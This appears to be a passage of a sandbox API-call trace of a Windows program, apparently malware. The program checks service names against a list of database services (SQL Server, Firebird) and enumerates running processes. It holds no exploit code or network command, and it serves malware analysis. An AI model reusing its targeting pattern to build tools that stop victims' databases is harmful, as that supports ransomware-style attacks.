	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0083.805] lstrlenW (lpString="nsi") returned 3
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0083.805] lstrlenW (lpString="PcaSvc") returned 6
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0083.805] lstrlenW (lpString="PlugPlay") returned 8
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0083.805] lstrlenW (lpString="Power") returned 5
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0083.805] lstrlenW (lpString="ProfSvc") returned 7
	[0083.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0083.805] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0083.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0083.806] lstrlenW (lpString="RpcEptMapper") returned 12
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0083.806] lstrlenW (lpString="RpcSs") returned 5
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0083.806] lstrlenW (lpString="SamSs") returned 5
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0083.806] lstrlenW (lpString="Schedule") returned 8
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0083.806] lstrlenW (lpString="SecurityHealthService") returned 21
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0083.806] lstrlenW (lpString="SENS") returned 4
	[0083.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0083.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0083.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0083.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0083.807] lstrlenW (lpString="ShellHWDetection") returned 16
	[0083.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0083.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0083.807] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0083.807] lstrlenW (lpString="Spooler") returned 7
	[0083.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0083.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0083.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0083.807] lstrlenW (lpString="SSDPSRV") returned 7
	[0083.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0083.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0083.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0083.807] lstrlenW (lpString="StateRepository") returned 15
	[0083.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0083.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0083.807] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0083.807] lstrlenW (lpString="SysMain") returned 7
	[0083.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0083.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0083.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0083.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0083.807] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x785c00 | out: hHeap=0x720000) returned 1
	[0083.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c
	[0083.815] Process32FirstW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0083.816] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0083.816] lstrlenW (lpString="System") returned 6
	[0083.817] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0083.828] lstrlenW (lpString="smss.exe") returned 8
	[0083.828] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0083.828] lstrlenW (lpString="csrss.exe") returned 9
	[0083.828] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0083.829] lstrlenW (lpString="wininit.exe") returned 11
	[0083.829] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0083.830] lstrlenW (lpString="csrss.exe") returned 9
	[0083.830] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0083.830] lstrlenW (lpString="winlogon.exe") returned 12
	[0083.830] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0083.831] lstrlenW (lpString="services.exe") returned 12
	[0083.831] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0083.831] lstrlenW (lpString="lsass.exe") returned 9
	[0083.831] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.255] lstrlenW (lpString="svchost.exe") returned 11
	[0084.255] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0084.256] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0084.256] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0084.256] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0084.256] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.257] lstrlenW (lpString="svchost.exe") returned 11
	[0084.257] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0084.257] lstrlenW (lpString="dwm.exe") returned 7
	[0084.257] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.258] lstrlenW (lpString="svchost.exe") returned 11
	[0084.258] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.258] lstrlenW (lpString="svchost.exe") returned 11
	[0084.259] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.259] lstrlenW (lpString="svchost.exe") returned 11
	[0084.259] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.260] lstrlenW (lpString="svchost.exe") returned 11
	[0084.260] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.260] lstrlenW (lpString="svchost.exe") returned 11
	[0084.260] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.261] lstrlenW (lpString="svchost.exe") returned 11
	[0084.261] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.261] lstrlenW (lpString="svchost.exe") returned 11
	[0084.261] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.262] lstrlenW (lpString="svchost.exe") returned 11
	[0084.262] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.262] lstrlenW (lpString="svchost.exe") returned 11
	[0084.262] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.263] lstrlenW (lpString="svchost.exe") returned 11
	[0084.263] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0084.263] lstrlenW (lpString="spoolsv.exe") returned 11
	[0084.263] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.264] lstrlenW (lpString="svchost.exe") returned 11
	[0084.264] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0084.264] lstrlenW (lpString="audiodg.exe") returned 11
	[0084.264] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0084.265] lstrlenW (lpString="sihost.exe") returned 10
	[0084.265] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.266] lstrlenW (lpString="svchost.exe") returned 11
	[0084.266] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.266] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.266] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0084.267] lstrlenW (lpString="explorer.exe") returned 12
	[0084.267] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0084.267] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0084.267] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0084.268] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0084.268] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0084.268] lstrlenW (lpString="Memory Compression") returned 18
	[0084.268] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0084.269] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0084.269] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0084.269] lstrlenW (lpString="SearchUI.exe") returned 12
	[0084.269] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0084.270] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0084.279] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0084.279] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0084.279] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0084.280] lstrlenW (lpString="pending.exe") returned 11
	[0084.280] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0084.280] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0084.280] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0084.281] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0084.281] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0084.281] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0084.281] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0084.282] lstrlenW (lpString="search.exe") returned 10
	[0084.282] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0084.282] lstrlenW (lpString="compatibility.exe") returned 17
	[0084.282] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0084.283] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0084.283] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0084.284] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0084.284] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0084.284] lstrlenW (lpString="try.exe") returned 7
	[0084.284] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0084.285] lstrlenW (lpString="consultancy.exe") returned 15
	[0084.285] Process32NextW (in: hSnapshot=0x37c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0084.285] lstrlenW (lpString="especially.exe") returned 14
